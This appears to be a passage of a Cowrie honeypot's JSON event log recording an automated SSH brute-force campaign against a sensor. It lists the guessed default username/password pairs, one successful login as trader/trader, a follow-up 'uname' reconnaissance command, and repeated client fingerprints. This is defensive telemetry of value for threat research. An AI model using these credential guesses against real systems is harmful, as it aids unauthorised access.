{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:21.427010Z","src_ip":"45.153.34.195","session":"25adb2321401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:22.511426Z","src_ip":"45.153.34.195","session":"25adb2321401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56990,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b9b76552dd","protocol":"ssh","message":"New connection: 45.153.34.195:56990 (10.17.0.5:22) [session: 36b9b76552dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:23.844406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:23.872914Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:23.954408Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:24.410891Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:24.632570Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:24.636011Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:24.723961Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:24.730145Z","src_ip":"45.153.34.195","session":"36b9b76552dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56996,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d16b8bef22","protocol":"ssh","message":"New connection: 45.153.34.195:56996 (10.17.0.5:22) [session: 66d16b8bef22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:26.620354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:26.630761Z","src_ip":"45.153.34.195","session":"66d16b8bef22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:26.731869Z","src_ip":"45.153.34.195","session":"66d16b8bef22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:27.321648Z","src_ip":"45.153.34.195","session":"66d16b8bef22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:28.405089Z","src_ip":"45.153.34.195","session":"66d16b8bef22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce5f0c8c12c","protocol":"ssh","message":"New connection: 45.153.34.195:57004 (10.17.0.5:22) [session: 6ce5f0c8c12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:29.703768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:29.715031Z","src_ip":"45.153.34.195","session":"6ce5f0c8c12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:29.787863Z","src_ip":"45.153.34.195","session":"6ce5f0c8c12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:30.152920Z","src_ip":"45.153.34.195","session":"6ce5f0c8c12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:31.240029Z","src_ip":"45.153.34.195","session":"6ce5f0c8c12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63082,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c5be9ac807","protocol":"ssh","message":"New connection: 45.153.34.195:63082 (10.17.0.5:22) [session: d9c5be9ac807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:32.568643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:32.573890Z","src_ip":"45.153.34.195","session":"d9c5be9ac807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:32.659939Z","src_ip":"45.153.34.195","session":"d9c5be9ac807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hades","password":"hades","message":"login attempt [hades/hades] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:32.930949Z","src_ip":"45.153.34.195","session":"d9c5be9ac807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:34.014890Z","src_ip":"45.153.34.195","session":"d9c5be9ac807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45128,"dst_ip":"159.203.135.109","dst_port":23,"session":"d684515121a2","protocol":"telnet","message":"New connection: 172.81.62.90:45128 (159.203.135.109:23) [session: d684515121a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:34.637034Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45120,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2559939b1a","protocol":"telnet","message":"New connection: 172.81.62.90:45120 (159.203.135.109:23) [session: db2559939b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:34.642220Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63088,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b0f71043058","protocol":"ssh","message":"New connection: 45.153.34.195:63088 (10.17.0.5:22) [session: 3b0f71043058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:35.445467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:35.450023Z","src_ip":"45.153.34.195","session":"3b0f71043058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:35.539514Z","src_ip":"45.153.34.195","session":"3b0f71043058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"idempiere","message":"login attempt [idempiere/idempiere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:35.787773Z","src_ip":"45.153.34.195","session":"3b0f71043058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:36.871626Z","src_ip":"45.153.34.195","session":"3b0f71043058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63090,"dst_ip":"10.17.0.5","dst_port":22,"session":"3936cfbe1328","protocol":"ssh","message":"New connection: 45.153.34.195:63090 (10.17.0.5:22) [session: 3936cfbe1328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:38.455596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:38.471258Z","src_ip":"45.153.34.195","session":"3936cfbe1328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:38.555958Z","src_ip":"45.153.34.195","session":"3936cfbe1328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:38.883777Z","src_ip":"45.153.34.195","session":"3936cfbe1328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:40.019912Z","src_ip":"45.153.34.195","session":"3936cfbe1328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63098,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e8a9c3393d","protocol":"ssh","message":"New connection: 45.153.34.195:63098 (10.17.0.5:22) [session: 37e8a9c3393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:41.324051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:41.334665Z","src_ip":"45.153.34.195","session":"37e8a9c3393d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:41.568714Z","src_ip":"45.153.34.195","session":"37e8a9c3393d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:41.916312Z","src_ip":"45.153.34.195","session":"37e8a9c3393d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:43.107791Z","src_ip":"45.153.34.195","session":"37e8a9c3393d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53744,"dst_ip":"10.17.0.5","dst_port":22,"session":"273bff671411","protocol":"ssh","message":"New connection: 45.153.34.195:53744 (10.17.0.5:22) [session: 273bff671411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:44.214569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:44.230160Z","src_ip":"45.153.34.195","session":"273bff671411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS